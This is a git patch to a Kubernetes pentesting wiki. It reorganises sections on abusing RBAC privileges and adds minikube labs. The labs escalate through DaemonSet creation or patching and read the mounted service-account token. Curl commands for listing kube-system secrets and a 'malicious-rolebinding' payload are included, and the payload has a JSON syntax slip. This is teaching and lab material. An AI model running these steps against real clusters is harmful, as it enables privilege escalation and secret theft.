From 65af32011764c9ba5dd4d064f4e6bb6baa7aa755 Mon Sep 17 00:00:00 2001 From: CPol Date: Mon, 10 Jan 2022 00:02:55 +0000 Subject: [PATCH] GitBook: [#2935] No subject --- .../hardening-roles-clusterroles/README.md | 140 ++++---- .../k8s-roles-abuse-lab.md | 313 +++++++++++++++++- ...bernetes-role-based-access-control-rbac.md | 4 + 3 files changed, 389 insertions(+), 68 deletions(-) diff --git a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md index 18853c14..015f5516 100644 --- a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md +++ b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md @@ -40,20 +40,6 @@ rules: verbs: ["create", "list", "get"] ``` -### **Listing Secrets** - -The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster – including the admin keys**. The secret key is a JWT token encoded in base64. - -![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png) - -An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace: - -```bash -curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ -``` - -![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png) - ### Pod Creation - Steal Token An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**. @@ -226,7 +212,7 @@ kubectl logs app -C proxy More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### **Create/Update Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** +### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.** @@ -277,58 +263,6 @@ kubectl exec -it -n -- sh Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](./#pod-creation) to try to escalate privileges. -### **Get/Patch Rolebindings** - -The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.** - -The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole. - -![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_with\_bind\_verb.png) - -Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:** - -```javascript -{ - "apiVersion": "rbac.authorization.k8s.io/v1", - "kind": "RoleBinding", - "metadata": { - "name": "malicious-rolebinding", - "namespaces": "default" - }, - "roleRef": { - "apiGroup": "*", - "kind": "ClusterRole", - "name": "admin" - }, - "subjects": [ - { - "kind": "ServiceAccount", - "name": "compromised-svc" - "namespace": "default" - } - ] -} -``` - -The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16). - -Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command: - -```bash -curl -k -v -X POST -H "Authorization: Bearer " \ --H "Content-Type: application/json" \ -https://:/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \ - -d @malicious-RoleBinging.json -``` - -After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this: - -```bash -curl -k -v -X POST -H "Authorization: Bearer "\ --H "Content-Type: application/json" -https://:/api/v1/namespaces/kube-system/secret -``` - ### **Impersonating privileged accounts** With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) **** privilege, an attacker could impersonate a privileged account. @@ -353,6 +287,22 @@ curl -k -v -XGET -H "Authorization: Bearer " \ https://:/api/v1/namespaces/kube-system/secrets/ ``` +### **Listing Secrets** + +The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster – including the admin keys**. The secret key is a JWT token encoded in base64. + +![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png) + +An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace: + +```bash +curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ +``` + +![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png) + +### + ### **Reading a secret – brute-forcing token IDs** An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above. @@ -407,6 +357,62 @@ After trying to do so, we will receive an error “forbidden: attempt to grant e ![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden\_attempt\_to\_gran\_extra\_privileges\_message-1024x288.png) +### **Get & Patch RoleBindings/ClusterRoleBindings** + +{% hint style="danger" %} +**Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** +{% endhint %} + +The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.** + +The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole. + +![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_with\_bind\_verb.png) + +Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:** + +```javascript +{ + "apiVersion": "rbac.authorization.k8s.io/v1", + "kind": "RoleBinding", + "metadata": { + "name": "malicious-rolebinding", + "namespaces": "default" + }, + "roleRef": { + "apiGroup": "*", + "kind": "ClusterRole", + "name": "admin" + }, + "subjects": [ + { + "kind": "ServiceAccount", + "name": "compromised-svc" + "namespace": "default" + } + ] +} +``` + +The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16). + +Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command: + +```bash +curl -k -v -X POST -H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +https://:/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \ + -d @malicious-RoleBinging.json +``` + +After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this: + +```bash +curl -k -v -X POST -H "Authorization: Bearer "\ +-H "Content-Type: application/json" +https://:/api/v1/namespaces/kube-system/secret +``` + ## Best Practices ### **Prevent service account token automounting on pods** diff --git a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md index ae2cb137..7342f3f1 100644 --- a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md +++ b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md @@ -1,6 +1,8 @@ # K8s Roles Abuse Lab -You can run this lab just inside **minikube**. +You can run these labs just inside **minikube**. + +## Pod Creation -> Escalate to ns SAs We are going to create: @@ -106,3 +108,312 @@ kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa ``` + +## Create Daemonset + +```bash +# Create Service Account test-sa +# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test +# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere + +echo 'apiVersion: v1 +kind: ServiceAccount +metadata: + name: test-sa +--- +kind: Role +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: test-r +rules: + - apiGroups: ["apps"] + resources: ["daemonsets"] + verbs: ["get", "list", "create"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: test-rb +subjects: + - kind: User + name: Test +roleRef: + kind: Role + name: test-r + apiGroup: rbac.authorization.k8s.io +--- +kind: ClusterRole +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: test-cr +rules: + - apiGroups: [""] + resources: ["secrets"] + verbs: ["get", "list", "delete", "patch", "create"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: test-crb +subjects: + - kind: ServiceAccount + namespace: default + name: test-sa + apiGroup: "" +roleRef: + kind: ClusterRole + name: test-cr + apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - + +# Check test-sa can access kube-system secrets +kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets + +# Check user User can get pods in namespace default +kubectl --as Test -n default get daemonsets + +# Create a daemonset as user Test with the SA test-sa (privesc step) +echo "apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: alpine + namespace: default +spec: + selector: + matchLabels: + name: alpine + template: + metadata: + labels: + name: alpine + spec: + serviceAccountName: test-sa + automountServiceAccountToken: true + hostNetwork: true + containers: + - name: alpine + image: alpine + command: ['/bin/sh'] + args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - + +# Connect to the pod created an confirm the attached SA token belongs to test-sa +kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d + +# Clean the scenario +kubectl delete daemonset alpine +kubectl delete clusterrolebinding test-crb +kubectl delete clusterrole test-cr +kubectl delete rolebinding test-rb +kubectl delete role test-r +kubectl delete serviceaccount test-sa +``` + +### Patch Daemonset + +In this case we are going to **patch a daemonset** to make its pod load our desired service account. + +If your user has the **verb update instead of patch, this won't work**. + +```bash +# Create Service Account test-sa +# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test +# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere + +echo 'apiVersion: v1 +kind: ServiceAccount +metadata: + name: test-sa +--- +kind: Role +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: test-r +rules: + - apiGroups: ["apps"] + resources: ["daemonsets"] + verbs: ["get", "list", "patch"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: test-rb +subjects: + - kind: User + name: Test +roleRef: + kind: Role + name: test-r + apiGroup: rbac.authorization.k8s.io +--- +kind: ClusterRole +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: test-cr +rules: + - apiGroups: [""] + resources: ["secrets"] + verbs: ["get", "list", "delete", "patch", "create"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: test-crb +subjects: + - kind: ServiceAccount + namespace: default + name: test-sa + apiGroup: "" +roleRef: + kind: ClusterRole + name: test-cr + apiGroup: rbac.authorization.k8s.io +--- +apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: alpine + namespace: default +spec: + selector: + matchLabels: + name: alpine + template: + metadata: + labels: + name: alpine + spec: + automountServiceAccountToken: false + hostNetwork: true + containers: + - name: alpine + image: alpine + command: ['/bin/sh'] + args: ['-c', 'sleep 100']' | kubectl apply -f - + +# Check user User can get pods in namespace default +kubectl --as Test -n default get daemonsets + +# Create a daemonset as user Test with the SA test-sa (privesc step) +echo "apiVersion: apps/v1 +kind: DaemonSet +metadata: + name: alpine + namespace: default +spec: + selector: + matchLabels: + name: alpine + template: + metadata: + labels: + name: alpine + spec: + serviceAccountName: test-sa + automountServiceAccountToken: true + hostNetwork: true + containers: + - name: alpine + image: alpine + command: ['/bin/sh'] + args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f - + +# Connect to the pod created an confirm the attached SA token belongs to test-sa +kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d + +# Clean the scenario +kubectl delete daemonset alpine +kubectl delete clusterrolebinding test-crb +kubectl delete clusterrole test-cr +kubectl delete rolebinding test-rb +kubectl delete role test-r +kubectl delete serviceaccount test-sa +``` + +## Not work - Create/Patch Bindings + +**Doesn't work:** + +* **Create a new RoleBinding** just with the verb **create** +* **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) + * You cannot do this to assign the role to yourself or to a different SA +* **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions) + * You cannot do this to assign the role to yourself or to a different SA + +```bash +echo 'apiVersion: v1 +kind: ServiceAccount +metadata: + name: test-sa +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: test-sa2 +--- +kind: Role +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: test-r +rules: + - apiGroups: ["rbac.authorization.k8s.io"] + resources: ["rolebindings"] + verbs: ["get", "patch"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: test-rb +subjects: + - kind: User + name: Test +roleRef: + kind: Role + name: test-r + apiGroup: rbac.authorization.k8s.io +--- +kind: Role +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: test-r2 +rules: + - apiGroups: [""] + resources: ["pods"] + verbs: ["get", "list", "delete", "patch", "create"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: test-rb2 +subjects: + - kind: ServiceAccount + name: test-sa + apiGroup: "" +roleRef: + kind: Role + name: test-r2 + apiGroup: rbac.authorization.k8s.io' | kubectl apply -f - + +# Create a pod as user Test with the SA test-sa (privesc step) +echo "apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: test-r2 +subjects: + - kind: ServiceAccount + name: test-sa2 + apiGroup: "" +roleRef: + kind: Role + name: test-r2 + apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f - + +# Connect to the pod created an confirm the attached SA token belongs to test-sa +kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d + +# Clean the scenario +kubectl delete rolebinding test-rb +kubectl delete rolebinding test-rb2 +kubectl delete role test-r +kubectl delete role test-r2 +kubectl delete serviceaccount test-sa +kubectl delete serviceaccount test-sa2 +``` diff --git a/pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md b/pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md index 1fa22adc..1e81516f 100644 --- a/pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md +++ b/pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md @@ -36,6 +36,10 @@ Kubernetes sometimes checks authorization for additional permissions using speci * [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) * `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group. +{% hint style="warning" %} +You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide` +{% endhint %} + ### Examples Example of **Role** **configuration**: